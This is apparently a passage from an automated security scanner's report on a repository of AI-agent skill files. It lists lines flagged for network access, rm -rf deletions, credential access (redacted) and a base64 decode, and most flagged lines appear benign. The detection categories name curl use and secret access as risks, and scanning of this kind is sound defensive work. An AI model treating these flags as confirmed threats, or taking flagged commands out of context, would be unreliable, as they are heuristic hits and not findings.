    checkout commit and `git rev-parse HEAD^{tree}` after checkout. A PR head SHA or run metadata alone does not identify the tested tree: the default PR checkout is the synthetic merge result ([GitHub PR checkout](https://docs.github.com/en/ac
  • Network accessline 128
    run metadata alone does not identify the tested tree: the default PR checkout is the synthetic merge result ([GitHub PR checkout](https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows#how-the-merge
  • Network accessline 129
    is the synthetic merge result ([GitHub PR checkout](https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows#how-the-merge-branch-affects-your-workflow)).
  • Network accessline 157
    contract permits; preserve release single-writer behavior and do not cancel a deployment to save minutes. Use the repository's deployment owner and the [concurrency contract](https://docs.github.com/en/actions/how-tos/write-workflows/choose
  • Network accessline 159
    [concurrency contract](https://docs.github.com/en/actions/how-tos/write-workflows/choose-when-workflows-run/control-workflow-concurrency).
  • Network accessline 195
    for rollback and independently reload/read back the saved account setting. Use the documented UI for this setting, not an invented REST request field. See [GitHub Actions notifications](https://docs.github.com/en/subscriptions-and-notificat
  • Network accessline 197
    [GitHub Actions notifications](https://docs.github.com/en/subscriptions-and-notifications/how-tos/managing-github-actions-notifications).
  • Network accessline 201
    run/commit, action already taken and the remaining decision. Group repetitions of the same incident; a new raw failure is not automatically a new human decision. This is the actionable-alert principle in [Google SRE](https://sre.google/sre-
  • Network accessline 203
    This is the actionable-alert principle in [Google SRE](https://sre.google/sre-book/monitoring-distributed-systems/).

github-ops/references/ghcr_publishing.md

  • Network accessline 79
    authentication and documents `write:packages` for upload; a linked package can inherit the linked repository's access. Treat those as platform rules, then verify the live package and repository above before a write. Sources: [GitHub Contain
  • Network accessline 80
    linked repository's access. Treat those as platform rules, then verify the live package and repository above before a write. Sources: [GitHub Container Registry documentation](https://docs.github.com/en/packages/working-with-a-github-packag
  • Network accessline 81
    repository above before a write. Sources: [GitHub Container Registry documentation](https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-container-registry) and [GitHub CLI auth refresh manual](https:
  • Network accessline 83
    [GitHub's REST package endpoints](https://docs.github.com/en/rest/packages/packages).
  • Dangerous shell operationline 96
    rm -rf "$docker_config"
  • Dangerous shell operationline 97
    rm -f "$metadata_file"
  • Access to secretsline 101
    [Credential-related source omitted]

github-ops/references/multi_account_repository_sync.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Network accessline 184
    - [GitHub multi-account authentication](https://docs.github.com/en/account-and-profile/how-tos/account-management/managing-multiple-accounts)
  • Network accessline 185
    - [OpenSSH config loading and IdentityFile](https://man.openbsd.org/ssh_config)
  • Network accessline 186
    - [GitHub SSH connection test](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection)
  • Network accessline 187
    - [GitHub repository duplication](https://docs.github.com/en/repositories/creating-and-managing-repositories/duplicating-a-repository)
  • Network accessline 188
    - [Git push refspecs and mirror behavior](https://git-scm.com/docs/git-push)
  • Network accessline 189
    - [GitHub Actions permission endpoint](https://docs.github.com/en/rest/actions/permissions#set-github-actions-permissions-for-a-repository)

github-ops/references/pr_operations.md

  • Network accessline 256
    GitHub retains who edited and when after revision-content deletion. See the [official edit-history procedure](https://docs.github.com/en/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)
  • Network accessline 257
    [official edit-history procedure](https://docs.github.com/en/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)
  • Network accessline 330
    using `git merge-tree --write-tree <candidate> <verified-base>`. A conflict is a real integration issue. When local and hosted results disagree, follow [the merge-semantics diagnostic](https://github.com/daymade/claude-code-skills/blob/main
  • Network accessline 331
    real integration issue. When local and hosted results disagree, follow [the merge-semantics diagnostic](https://github.com/daymade/claude-code-skills/blob/main/github-review-pr/SKILL.md#when-local-and-hosted-merge-results-disagree) before a
  • Network accessline 332
    [the merge-semantics diagnostic](https://github.com/daymade/claude-code-skills/blob/main/github-review-pr/SKILL.md#when-local-and-hosted-merge-results-disagree)

github-ops/references/workflow_operations.md

  • Network accessline 482
    separately. Multiple registrations or guests can share a host; label matching    does not prove independent CPU, memory or storage capacity. Match every required    label and group/access restriction ([GitHub routing rules](https://docs.git
  • Network accessline 483
    does not prove independent CPU, memory or storage capacity. Match every required    label and group/access restriction ([GitHub routing rules](https://docs.github.com/en/actions/how-tos/manage-runners/self-hosted-runners/use-in-a-workflow))
  • Network accessline 484
    label and group/access restriction ([GitHub routing rules](https://docs.github.com/en/actions/how-tos/manage-runners/self-hosted-runners/use-in-a-workflow)).
  • Network accessline 508
    Check minutes and hosted artifact/storage budgets separately: changing    `runs-on` does not remove a workflow's GitHub upload/download dependencies    ([GitHub billing](https://docs.github.com/en/billing/concepts/product-billing/github-act
  • Network accessline 509
    `runs-on` does not remove a workflow's GitHub upload/download dependencies    ([GitHub billing](https://docs.github.com/en/billing/concepts/product-billing/github-actions)).    If storage blocks required build handoff or evidence, preserve 
  • Network accessline 510
    ([GitHub billing](https://docs.github.com/en/billing/concepts/product-billing/github-actions)).
  • Network accessline 518
    Inventory optional cache backends separately from required artifacts.    `actions/cache` and BuildKit `type=gha` still call remote cache services on a    self-hosted runner ([Docker GitHub cache backend](https://docs.docker.com/build/cache/
  • Network accessline 519
    `actions/cache` and BuildKit `type=gha` still call remote cache services on a    self-hosted runner ([Docker GitHub cache backend](https://docs.docker.com/build/cache/backends/gha/)).    Compare measured restore/export cost, hit rate and st
  • Network accessline 520
    self-hosted runner ([Docker GitHub cache backend](https://docs.docker.com/build/cache/backends/gha/)).
  • Network accessline 530
    Resolve the actual package-store directory as the job's service account after    setup, and keep the persistent store outside installation directories that    the selected setup action removes ([pnpm setup installer](https://github.com/pnpm
  • Network accessline 531
    setup, and keep the persistent store outside installation directories that    the selected setup action removes ([pnpm setup installer](https://github.com/pnpm/action-setup/blob/v4/src/install-pnpm/run.ts)).    Configure the same explicit s
  • Network accessline 532
    the selected setup action removes ([pnpm setup installer](https://github.com/pnpm/action-setup/blob/v4/src/install-pnpm/run.ts)).
  • Network accessline 539
    containers with free host ports and read the assigned port from    `job.services.<service>.ports[<container-port>]`;    fixed host ports can collide across listeners ([GitHub service networking](https://docs.github.com/en/actions/tutorials/
  • Network accessline 540
    `job.services.<service>.ports[<container-port>]`;    fixed host ports can collide across listeners ([GitHub service networking](https://docs.github.com/en/actions/tutorials/use-containerized-services/use-docker-service-containers)).    Read
  • Network accessline 541
    fixed host ports can collide across listeners ([GitHub service networking](https://docs.github.com/en/actions/tutorials/use-containerized-services/use-docker-service-containers)).
  • Network accessline 542
    Read effective CPU, memory and task limits through the cgroup ancestors, not    only the listener unit. Parent limits constrain children ([cgroup v2](https://docs.kernel.org/admin-guide/cgroup-v2.html)).    Budget service and build containe
  • Network accessline 543
    only the listener unit. Parent limits constrain children ([cgroup v2](https://docs.kernel.org/admin-guide/cgroup-v2.html)).
  • Network accessline 545
    a listener's limit does not automatically cap those containers. Read back the    container/builder limits and reconcile their combined demand with the physical    host budget ([Docker resource constraints](https://docs.docker.com/engine/con
  • Network accessline 547
    host budget ([Docker resource constraints](https://docs.docker.com/engine/containers/resource_constraints/)).
  • Network accessline 563
    their synchronous work, and verify execution in the actual job's **Set up runner**    or **Complete runner** log. A direct script smoke test cannot prove the runner    invokes it ([GitHub job hooks](https://docs.github.com/en/actions/how-to
  • Network accessline 564
    or **Complete runner** log. A direct script smoke test cannot prove the runner    invokes it ([GitHub job hooks](https://docs.github.com/en/actions/how-tos/manage-runners/self-hosted-runners/run-scripts)). 4. **Keep checks and production ro
  • Network accessline 565
    invokes it ([GitHub job hooks](https://docs.github.com/en/actions/how-tos/manage-runners/self-hosted-runners/run-scripts)).
  • Network accessline 607
    have access to the standard default environment variables", and variables that are "step    specific like `GITHUB_ACTION`" "will not be set" (`actions/runner`    [ADR 1751](https://github.com/actions/runner/blob/main/docs/adrs/1751-runner-j
  • Network accessline 608
    specific like `GITHUB_ACTION`" "will not be set" (`actions/runner`    [ADR 1751](https://github.com/actions/runner/blob/main/docs/adrs/1751-runner-job-hooks.md)).    Workarounds, both verified on a fleet: read the runner name from the runne
  • Network accessline 609
    [ADR 1751](https://github.com/actions/runner/blob/main/docs/adrs/1751-runner-job-hooks.md)).
  • Network accessline 615
    runner* / *Complete runner* step with it, so bound your own work with a watchdog timer and    per-call timeouts (source: [Running scripts before or after a    job](https://docs.github.com/actions/hosting-your-own-runners/running-scripts-bef
  • Network accessline 617
    job](https://docs.github.com/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job)).
  • Network accessline 672
    curl -s "https://api.github.com/repos/OWNER/REPO/actions/runs?per_page=5" | jq .total_count
  • Network accessline 673
    curl -s "https://api.github.com/repos/OWNER/REPO/deployments" | jq length

github-ops/scripts/checked_gh.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 298
    [Credential-related source omitted]
  • Access to secretsline 303
    [Credential-related source omitted]

github-review-pr/references/personal_maintainer_context.md

  • Network accessline 85
    The maintainer may pursue the Community builders path in the Claude for Open Source program. When that objective is active, verify the current requirement live at `https://claude.com/contact-sales/claude-for-oss`; the threshold and rolling 
  • Network accessline 86
    program. When that objective is active, verify the current requirement live at `https://claude.com/contact-sales/claude-for-oss`; the threshold and rolling window are volatile and must not be copied into this file as permanent facts.
  • Network accessline 87
    `https://claude.com/contact-sales/claude-for-oss`; the threshold and rolling window are

github-review-pr/references/remediation_and_landing.md

  • Network accessline 363
    or an already-authorized update. Never use another API to turn a blocked merge into an implicit maintainer bypass. The executable gate and explicit-bypass boundary belong to [GitHub Operations](https://github.com/daymade/claude-code-skills/
  • Network accessline 365
    boundary belong to [GitHub Operations](https://github.com/daymade/claude-code-skills/blob/main/github-ops/references/pr_operations.md#merging-prs).

github-sensitive-data-cleanup/SKILL.md

  • Network accessline 424
    contract; rewrite approval alone does not authorize them. GitHub Support's acceptance is conditional, not a guaranteed purge. See the [official removal limits](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/r
  • Network accessline 425
    conditional, not a guaranteed purge. See the [official removal limits](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). For lower-risk findings, document any retained
  • Network accessline 426
    [official removal limits](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository).

github-sensitive-data-cleanup/scripts/rewrite_history.py

  • Executable scriptline 1
    #!/usr/bin/env python3

github-sensitive-data-cleanup/scripts/safe_push.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 250
    [Credential-related source omitted]

github-sensitive-data-cleanup/scripts/scan_repo.py

  • Executable scriptline 1
    #!/usr/bin/env python3

github-sensitive-data-cleanup/scripts/verify_cleanup.py

  • Executable scriptline 1
    #!/usr/bin/env python3

i18n-expert/scripts/i18n_audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

ima-copilot/SKILL.md

  • Network accessline 51
    The installer downloads the latest official release from `https://app-dl.ima.qq.com/skills/`, stages it in a temp directory, and hands off to `npx skills add <local-path>` to distribute it across Claude Code, Codex, and OpenClaw.
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 75
    1. Open `https://ima.qq.com/agent-interface` and create a new Client ID and API Key.
  • Network accessline 77
    3. Make a single liveness call against `https://ima.qq.com/openapi/wiki/v1/search_knowledge_base` with `{"query": "", "cursor": "", "limit": 1}` to confirm the credentials are accepted — a `code: 0, msg: success` response means ready.

ima-copilot/references/api_key_setup.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 47
    Open `https://ima.qq.com/agent-interface` in a browser. If the user isn't signed in, they'll be prompted. The page shows a panel titled "API Key" with buttons to generate a new Client ID + API Key pair.
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 71
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 100
    If curl returns an empty body or times out, check network reachability to `ima.qq.com` — this API does not respond to ICMP ping, so use `curl -sS -o /dev/null -w "%{http_code}\n" https://ima.qq.com/` as a reachability probe instead.
  • Network accessline 109
    # 1. Generate new Client ID + API Key on https://ima.qq.com/agent-interface
  • Access to secretsline 112
    [Credential-related source omitted]

ima-copilot/references/import_and_extract.md

  • Network accessline 5
    Two prerequisites. Endpoint base URL and auth headers are in `api_key_setup.md` (`https://ima.qq.com/openapi/<path>`, headers `ima-openapi-clientid` / `ima-openapi-apikey`). The extraction step drives the IMA desktop app, so it needs a comp

ima-copilot/references/installation_flow.md

  • Network accessline 7
    The upstream Tencent IMA skill ships as a zip file at `https://app-dl.ima.qq.com/skills/ima-skills-<version>.zip`. The official documentation at `https://ima.qq.com/agent-interface` expects users to paste a prompt into a specific proprietar
  • Network accessline 9
    ima-copilot bridges that gap by using the open [vercel-labs/skills](https://github.com/vercel-labs/skills) CLI as a last-mile distributor. The flow is:
  • Network accessline 12
    ima.qq.com/skills/ima-skills-X.Y.Z.zip         ↓ curl /tmp/ima-copilot-staging/<ts>/
  • Network accessline 13
    ↓ curl /tmp/ima-copilot-staging/<ts>/         ↓ unzip
  • Network accessline 67
    If the upstream URL 404s (most commonly because the version hasn't been released yet or has been yanked), the installer exits with a hint to try the next known version. The upstream release pattern from observation is `ima-skills-<major>.<m
  • Network accessline 116
    ### "curl returned HTTP 404"

ima-copilot/references/known_issues.md

  • Dangerous shell operationline 92
    # `alias sed='sed -i'` or `alias rm='rm -i'` that would otherwise hang the
  • Dangerous shell operationline 98
    command rm -f "<install>/SKILL.md.bak"
  • Dangerous shell operationline 107
    command rm -f "<install>/notes/MODULE.md" "<install>/knowledge-base/MODULE.md"

ima-copilot/scripts/diagnose.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 130
    [Credential-related source omitted]
  • Access to secretsline 135
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 139
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 144
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 145
    status_warn "curl not on PATH — skipping liveness check"
  • Network accessline 146
    else     response=$(curl -sS -X POST "https://ima.qq.com/openapi/wiki/v1/search_knowledge_base" \       -H "ima-openapi-clientid: $CLIENT_ID" \
  • Network accessline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]

ima-copilot/scripts/install_ima_skill.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 23
    IMA_VERSION="${IMA_VERSION:-1.1.2}" BASE_URL="https://app-dl.ima.qq.com/skills"
  • Network accessline 24
    BASE_URL="https://app-dl.ima.qq.com/skills"
  • Dangerous shell operationline 30
    rm -rf "$STAGING_DIR"
  • Network accessline 54
    Find the latest upstream version at https://ima.qq.com/agent-interface
  • Network accessline 81
    for tool in curl unzip npx; do
  • Network accessline 103
    ZIP_URL="${BASE_URL}/ima-skills-${IMA_VERSION}.zip"
  • Network accessline 106
    echo "  Downloading ${ZIP_URL}" http_code=$(curl -sS -L --fail -o "$ZIP_PATH" -w "%{http_code}" "$ZIP_URL" || echo "000")
  • Network accessline 107
    http_code=$(curl -sS -L --fail -o "$ZIP_PATH" -w "%{http_code}" "$ZIP_URL" || echo "000")
  • Network accessline 113
    echo "    IMA_VERSION=x.y.z bash $0" >&2   echo "" >&2   echo "or find the latest version at https://ima.qq.com/agent-interface" >&2
  • Network accessline 114
    echo "" >&2   echo "or find the latest version at https://ima.qq.com/agent-interface" >&2   exit 1
  • Network accessline 115
    echo "or find the latest version at https://ima.qq.com/agent-interface" >&2
  • Network accessline 203
    echo "Next steps:" echo "  1. Configure API credentials" echo "     Save your Client ID and API Key from https://ima.qq.com/agent-interface"
  • Network accessline 204
    echo "  1. Configure API credentials" echo "     Save your Client ID and API Key from https://ima.qq.com/agent-interface" echo "     into ~/.config/ima/client_id and ~/.config/ima/api_key (mode 600)."
  • Network accessline 205
    echo "     Save your Client ID and API Key from https://ima.qq.com/agent-interface"
  • Access to secretsline 206
    [Credential-related source omitted]

ima-copilot/scripts/search_fanout.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 47
    API_BASE = "https://ima.qq.com/openapi"
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Access to secretsline 62
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Network accessline 103
    url = f"{API_BASE}/{path}"     req = urllib.request.Request(
  • Network accessline 104
    req = urllib.request.Request(
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 113
    )     try:         with urllib.request.urlopen(req, timeout=30) as resp:
  • Network accessline 114
    try:         with urllib.request.urlopen(req, timeout=30) as resp:             payload = resp.read().decode("utf-8")
  • Network accessline 115
    with urllib.request.urlopen(req, timeout=30) as resp:
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 338
    [Credential-related source omitted]
  • Access to secretsline 342
    [Credential-related source omitted]
  • Access to secretsline 353
    [Credential-related source omitted]

ima-copilot/tests/test_search_fanout.py

  • Executable scriptline 1
    Executable file
  • Network accessline 24
    def serve(request, **kwargs):             body = json.loads(request.data)             requests.append(body)
  • Network accessline 25
    body = json.loads(request.data)             requests.append(body)             self.assertTrue(request.full_url.endswith('/wiki/v1/search_knowledge_base'))
  • Network accessline 26
    requests.append(body)

kimi-use/references/plugin-capabilities.md

  • Network accessline 66
    GET https://reportapi.eastmoney.com/report/list
  • Network accessline 67
    ?qType=0(个股)/1(行业)&code=<6位股票代码>&beginTime=&endTime=&pageNo=&pageSize=   # 需桌面 UA + Referer: https://data.eastmoney.com/report/;国内网络加 --noproxy '*'   # 返回 hits + data[](含 title/orgSName/researcher/publishDate/infoCode/stockCode)
  • Network accessline 68
    # 需桌面 UA + Referer: https://data.eastmoney.com/report/;国内网络加 --noproxy '*'
  • Network accessline 70
    # 全文 PDF: https://pdf.dfcfw.com/pdf/H3_<infoCode>_1.pdf

llm-eval-harness/SKILL.md

  • Network accessline 4
    Tests/benchmarks a third-party LLM endpoint (OpenAI- or Anthropic-compatible): availability,   fidelity, speed, concurrency, protocol compliance, quality regression. Use before hand-rolling a   curl loop, when onboarding a provider, or debu
  • Network accessline 5
    fidelity, speed, concurrency, protocol compliance, quality regression. Use before hand-rolling a   curl loop, when onboarding a provider, or debugging "system prompt 不生效" / a tok/s claim —   测评/压测一个模型或渠道. Not for TTS/voice-clone supplier ev
  • Network accessline 6
    curl loop, when onboarding a provider, or debugging "system prompt 不生效" / a tok/s claim —
  • Dangerous shell operationline 7
    测评/压测一个模型或渠道. Not for TTS/voice-clone supplier eval (use the audio skill).
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 74
    # Speed: real-task throughput + sustained decode ceiling uv run --with openai python scripts/speed_probe.py \   --base-url https://api.example.com/v1 --model some-model --key-env MY_KEY --mode both
  • Network accessline 75
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Network accessline 76
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 78
    # Concurrency: ramp until it breaks uv run --with aiohttp python scripts/concurrency_probe.py \   --url https://api.example.com/v1/chat/completions --model some-model --key-env MY_KEY \
  • Network accessline 79
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Network accessline 80
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 197
    [Credential-related source omitted]
  • Access to secretsline 198
    [Credential-related source omitted]
  • Access to secretsline 245
    [Credential-related source omitted]
  • Access to secretsline 246
    [Credential-related source omitted]

llm-eval-harness/references/evaluation_disciplines.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Network accessline 71
    is implausibly uniform. To truly bypass: resolve the host's real IP via a public DNS, then pin it at the socket (bind a physical interface + a `--resolve`-style connection, preserving SNI) — equivalent to `curl --interface en0 --resolve hos
  • Network accessline 72
    pin it at the socket (bind a physical interface + a `--resolve`-style connection, preserving SNI) — equivalent to `curl --interface en0 --resolve host:443:<real-ip>`. And confirm it mattered by measuring BOTH paths: if direct and via-tunnel
  • Network accessline 73
    SNI) — equivalent to `curl --interface en0 --resolve host:443:<real-ip>`. And confirm it
  • Network accessline 260
    the failure and both pass the control, IP-blocking, account-level routing, and path-specific middleboxes are excluded in one stroke. Handle the key on the second machine the same way as everywhere else (§1): a curl `--config` file with 0600
  • Network accessline 261
    middleboxes are excluded in one stroke. Handle the key on the second machine the same way as everywhere else (§1): a curl `--config` file with 0600 permissions keeps it out of `ps` and shell history there too.
  • Network accessline 262
    everywhere else (§1): a curl `--config` file with 0600 permissions keeps it out of `ps` and

llm-eval-harness/references/machine-results.md

  • Network accessline 14
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 15
    [Credential-related source omitted]
  • Access to secretsline 15
    [Credential-related source omitted]

llm-eval-harness/scripts/availability_probe.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 50
    ``--raw-dir`` before anything is truncated for display. Terminal output may   shorten; the evidence files never do. Why this is load-bearing: a forensic   conclusion once shipped off a hand-rolled curl whose pipeline had
  • Network accessline 51
    shorten; the evidence files never do. Why this is load-bearing: a forensic   conclusion once shipped off a hand-rolled curl whose pipeline had   ``grep -v set-cookie | head -25`` baked in — the "evidence" was pre-filtered
  • Network accessline 52
    conclusion once shipped off a hand-rolled curl whose pipeline had
  • Network accessline 63
    -----     uv run --with aiohttp python availability_probe.py \         --base-url https://api.example.com --key-env MY_API_KEY \
  • Network accessline 64
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Network accessline 65
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Network accessline 69
    # IDs from a file (one per line, # comments allowed):     uv run --with aiohttp python availability_probe.py \         --base-url https://api.example.com --key-env MY_API_KEY \
  • Network accessline 70
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 71
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Network accessline 265
    async def run(args, key):     formats = ["openai", "anthropic"] if args.format == "both" else [args.format]     connector = aiohttp.TCPConnector(force_close=True, limit=args.parallel)
  • Network accessline 266
    formats = ["openai", "anthropic"] if args.format == "both" else [args.format]     connector = aiohttp.TCPConnector(force_close=True, limit=args.parallel)     timeout = aiohttp.ClientTimeout(total=args.timeout)
  • Network accessline 267
    connector = aiohttp.TCPConnector(force_close=True, limit=args.parallel)
  • Network accessline 268
    timeout = aiohttp.ClientTimeout(total=args.timeout)
  • Network accessline 269
    async with aiohttp.ClientSession(connector=connector, timeout=timeout,
  • Access to secretsline 308
    [Credential-related source omitted]

llm-eval-harness/scripts/concurrency_probe.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 30
    -----     uv run --with aiohttp python concurrency_probe.py \         --url https://api.example.com/v1/chat/completions \
  • Network accessline 31
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 32
    --url https://api.example.com/v1/chat/completions \
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 36
    # Anthropic Messages endpoint:     uv run --with aiohttp python concurrency_probe.py \         --url https://api.example.com/v1/messages \
  • Network accessline 37
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 38
    --url https://api.example.com/v1/messages \
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 89
    try:         async with session.post(url, json=payload, headers=headers,                                 timeout=aiohttp.ClientTimeout(total=timeout)) as resp:
  • Network accessline 90
    async with session.post(url, json=payload, headers=headers,                                 timeout=aiohttp.ClientTimeout(total=timeout)) as resp:             body = await resp.text()
  • Network accessline 91
    timeout=aiohttp.ClientTimeout(total=timeout)) as resp:
  • Access to secretsline 103
    [Credential-related source omitted]
  • Network accessline 105
    connector = aiohttp.TCPConnector(limit=0, force_close=True)
  • Network accessline 106
    async with aiohttp.ClientSession(connector=connector, trust_env=False) as session:
  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 181
    [Credential-related source omitted]

llm-eval-harness/scripts/eval_result.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 86
    raw = base64.b64decode(snapshot["content_base64"], validate=True)

llm-eval-harness/scripts/fidelity_probe.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 54
    -----     uv run --with aiohttp python fidelity_probe.py \         --base-url https://api.example.com --model some-model \
  • Network accessline 55
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 56
    --base-url https://api.example.com --model some-model \
  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 306
    async def run(args, key):     connector = aiohttp.TCPConnector(force_close=True, limit=4)
  • Network accessline 307
    connector = aiohttp.TCPConnector(force_close=True, limit=4)
  • Network accessline 308
    timeout = aiohttp.ClientTimeout(total=args.timeout)
  • Network accessline 309
    async with aiohttp.ClientSession(connector=connector, timeout=timeout,
  • Access to secretsline 343
    [Credential-related source omitted]

llm-eval-harness/scripts/protocol_probe.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 58
    # Both checks (default) — most vendors should run this, not just generation     uv run python protocol_probe.py \         --url https://api.example.com/v1/messages \
  • Network accessline 59
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Network accessline 60
    --url https://api.example.com/v1/messages \
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 63
    # Just the history-replay check (the one that catches the 2026-07-21-shaped bug)     uv run python protocol_probe.py \         --url https://api.example.com/v1/messages \
  • Network accessline 64
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Network accessline 65
    --url https://api.example.com/v1/messages \
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Network accessline 102
    "signature_delta": False, "text": False, "message_stop": False,             "model_field": None, "error": None}     req = urllib.request.Request(url, data=payload, headers=headers, method="POST")
  • Network accessline 103
    "model_field": None, "error": None}     req = urllib.request.Request(url, data=payload, headers=headers, method="POST")     try:
  • Network accessline 104
    req = urllib.request.Request(url, data=payload, headers=headers, method="POST")
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 173
    [Credential-related source omitted]
  • Network accessline 180
    result = {"accepted": None, "http_status": None, "error_text": None,               "answered_followup": False, "rejects_thinking_type": False, "message_stop": False}     req = urllib.request.Request(url, data=body, headers=headers, method="
  • Network accessline 181
    "answered_followup": False, "rejects_thinking_type": False, "message_stop": False}     req = urllib.request.Request(url, data=body, headers=headers, method="POST")     try:
  • Network accessline 182
    req = urllib.request.Request(url, data=body, headers=headers, method="POST")
  • Access to secretsline 226
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Access to secretsline 279
    [Credential-related source omitted]
  • Access to secretsline 292
    [Credential-related source omitted]
  • Access to secretsline 386
    [Credential-related source omitted]
  • Access to secretsline 387
    [Credential-related source omitted]
  • Access to secretsline 389
    [Credential-related source omitted]
  • Access to secretsline 401
    [Credential-related source omitted]
  • Access to secretsline 405
    [Credential-related source omitted]

llm-eval-harness/scripts/speed_probe.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 36
    -----     uv run --with openai python speed_probe.py \         --base-url https://api.example.com/v1 \
  • Network accessline 37
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 38
    --base-url https://api.example.com/v1 \
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 262
    [Credential-related source omitted]
  • Access to secretsline 263
    [Credential-related source omitted]
  • Access to secretsline 265
    [Credential-related source omitted]
  • Access to secretsline 267
    [Credential-related source omitted]

llm-eval-harness/scripts/usecase_runner.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 28
